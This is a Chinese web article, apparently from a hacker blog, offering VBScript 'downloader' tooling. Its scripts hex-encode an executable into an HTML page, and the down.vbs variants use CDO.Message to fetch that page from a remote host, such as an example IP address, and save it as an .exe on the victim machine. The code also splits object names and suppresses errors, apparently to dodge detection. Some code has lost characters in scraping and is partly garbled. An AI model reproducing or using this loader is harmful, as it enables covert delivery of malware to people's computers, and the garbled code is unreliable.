• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    最新版利用CDO.Message做的vbs下载者

    vbs下载者有很多了,我这里是一个伟大的发明,利用CDO.Message做的vbs下载者。伟大是装B的意思。
    NP先把代码写完了,详情看这里:http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html

    LCX大哥在写他的BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。
    于是研究了一会。写出个粗糙的DEMO。
    exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制
    ================================================

    复制代码 代码如下:

    'code by xiaolu
    'change by NetPatch
    on error resume next
    set arg=wscript.arguments
    if arg.count=0 then wscript.quit
    do while 1
    fname=arg(0)
    err.number=0
    Set Ado = CreateObject("adodb.stream")
    With Ado
    .Type = 1
    .open
    .loadfromfile fname
    ss = .read
    End With
    if err.number>0 then
    if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
    else
    exit do
    end if
    loop
    if fname="" then Wscript.quit
    Set Fso=CreateObject("Scripting.FileSystemObject")
    Set File=fso.OpenTextFile(arg(0)".htm",2, True)
    File.write Bin2Str(ss)
    File.close
    Set fso=nothing
    Ado.close
    set Abo=nothing
    Function Bin2Str(Re)
    For i = 1 To lenB(Re)
    bt = AscB(MidB(Re, i, 1))
    if bt 16 Then Bin2Str=Bin2Str"0"
    Bin2Str=Bin2Str Hex(bt)
    Next
    End Function

    ======================================
    下载者 down.vbs
    =============
    复制代码 代码如下:

    on error resume next
    set arg=wscript.arguments
    if arg.count=0 then wscript.quit
    'code by NetPatch
    'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
    Set Mail1 = CreateObject("CDO.Message")
    Mail1.CreateMHTMLBody arg(0),31
    ss= Mail1.HTMLBody
    Set Mail1 = Nothing
    Set RS=CreateObject("ADODB.Recordset")
    L=Len(ss)/2
    RS.Fields.Append "m",205,L
    RS.Open:RS.AddNew
    RS("m")=ssChrB(0)
    RS.Update
    ss=RS("m").GetChunk(L)
    Set s=CreateObject("ADODB.Stream")
    with s
    .Mode = 3
    .Type = 1
    .Open()
    .Write ss
    .SaveToFile arg(1),2
    end with

    ==================================
    demo.htm内容时用exe2hex.vbs转EXE后获得的
    使用方法:
    1.exe2hex.vbs 把exe转成十六进制,放到网络上
    2.down.vbs http://xxx/demo.htm c:\good.exe


    由于NP写的不知什么原因,在我机器上执行后生成的exe,进程不会自动退出,我重新更新一下。
    =======用下面这个hta文件来转exe变成16进制的html保存了。这样也会方便一点。=======
    复制代码 代码如下:

    !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    html>
    head>
    title>package file v0.1/title>
    meta http-equiv="Content-Type" content="text/html; charset=GB2312">
    HTA:APPLICATION
    ID="package file v0.1"
    APPLICATIONNAME="package file v0.1"
    VERSION="0.1"
    SCROLL="no"
    INNERBORDER="no"
    CONTEXTMENU="yes"
    CAPTION="yes"
    ICON="no"
    SHOWINTASKBAR="yes"
    SINGLEINSTANCE="yes"
    SYSMENU="yes"
    MAXIMIZEBUTTON ="no"
    WINDOWSTATE="normal"
    NAVIGABLE="yes"
    />
    SCRIPT LANGUAGE="VBScript">
    function transfert()
    dim filename
    filename = document.getElementById("srcFile").value
    if len(filename)>0 then
    dim oReq
    'on error resume next
    '//创建XMLHTTP对象
    set oReq = CreateObject("MSXML2.XMLHTTP")
    oReq.open "get","file:\\" filename,false
    oReq.send
    ff = oReq.responseBody
    dim u,s,kk
    u = lenb(ff)
    redim kk(u-1)
    for i=0 to u-1
    s = hex(ascb(midb(ff,i+1,1)))
    if len(s)2 then
    s = "0" s
    end if
    'kk = kk s
    kk(i) = s
    next
    make filename,join(kk,"")
    else
    document.getElementById("srcFile").focus
    msgbox "请选择要压缩的文件",16,"提示"
    end if
    end function
    function make(filename,data)
    dim htm,file
    file = mid(filename,instrrev(filename,"\")+1)
    htm = htm data
    dim fso,f
    dim this_file
    this_file = file "-pf.htm"
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set f = fso.OpenTextFile(this_file, 2, True)
    f.Write htm
    msgbox "生成文件" this_file "成功!",64,"生成"
    end function
    /SCRIPT>
    /head>
    body marginleft=0 marginright=0 onload="window.resizeTo 389,145 ">
    请选择文件:input type=file id="srcFile" style="width:260px;">br>br>
    input type=button value=" 转换 " onclick="transfert"> input type=button value=" 关闭 " onclick="window.close">
    /body>
    /html>

    =====================再用下面这个vbs脚本来下载,把hta生成的htm放到空间上,用NP写的那个下载生成的htm也可以,代码更少=========
    复制代码 代码如下:

    '//保存文件
    function saveFile(filename,str)
    set adodbStream = CreateObject("ADODB" "." "Stream")
    adodbStream.Type= 1
    adodbStream.Open
    adodbStream.write str
    adodbStream.SaveToFile filename,2
    adodbStream.Close
    end function
    '//VB数组转变成二进制格式
    Function MultiByteToBinary(MultiByte)
    Dim RS, LMultiByte, Binary
    Const adLongVarBinary = 205
    Set RS = CreateObject("ADODB.Recordset")
    LMultiByte = LenB(MultiByte)
    If LMultiByte>0 Then
    RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte
    RS.Open
    RS.AddNew
    RS("mBinary").AppendChunk MultiByte ChrB(0)
    RS.Update
    Binary = RS("mBinary").GetChunk(LMultiByte)
    End If
    MultiByteToBinary = Binary
    End Function

    function exec()
    '//屏蔽错误
    on error resume Next
    Set args = WScript.Arguments
    if args.Count = 0 then
    WScript.Echo "Usage: CScript down.vbs url c:\1.exe"
    WScript.Quit 1
    end If
    dim data,t,kk,filename,ss
    Set Mail1 = CreateObject("CDO.Message")
    Mail1.CreateMHTMLBody args.Item(0) ,31
    'Mail1.CreateMHTMLBody "c:\xxx\lcx.exe-pf.htm",31
    ss= Mail1.HTMLBody
    Set Mail1=nothing

    '//得到数据
    data = ss
    '//得到文件名
    filename = args.Item(1)
    '//得到数据长度
    u = len(data)
    '//获得文件数组
    for i=1 to u step 2
    t = mid(data,i,2)
    kk = kk ChrB(clng("H" t))
    next
    '//转变成二进制格式
    dataArry = MultiByteToBinary(kk)
    '//保存文件
    saveFile filename,dataArry

    end function
    exec()

    上一篇:vbs版sql查询分析器lcx作品
    下一篇:PDF的VBS小程序代码
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    最新版利用CDO.Message做的vbs下载者 最新版,利用,CDO.Message,做的,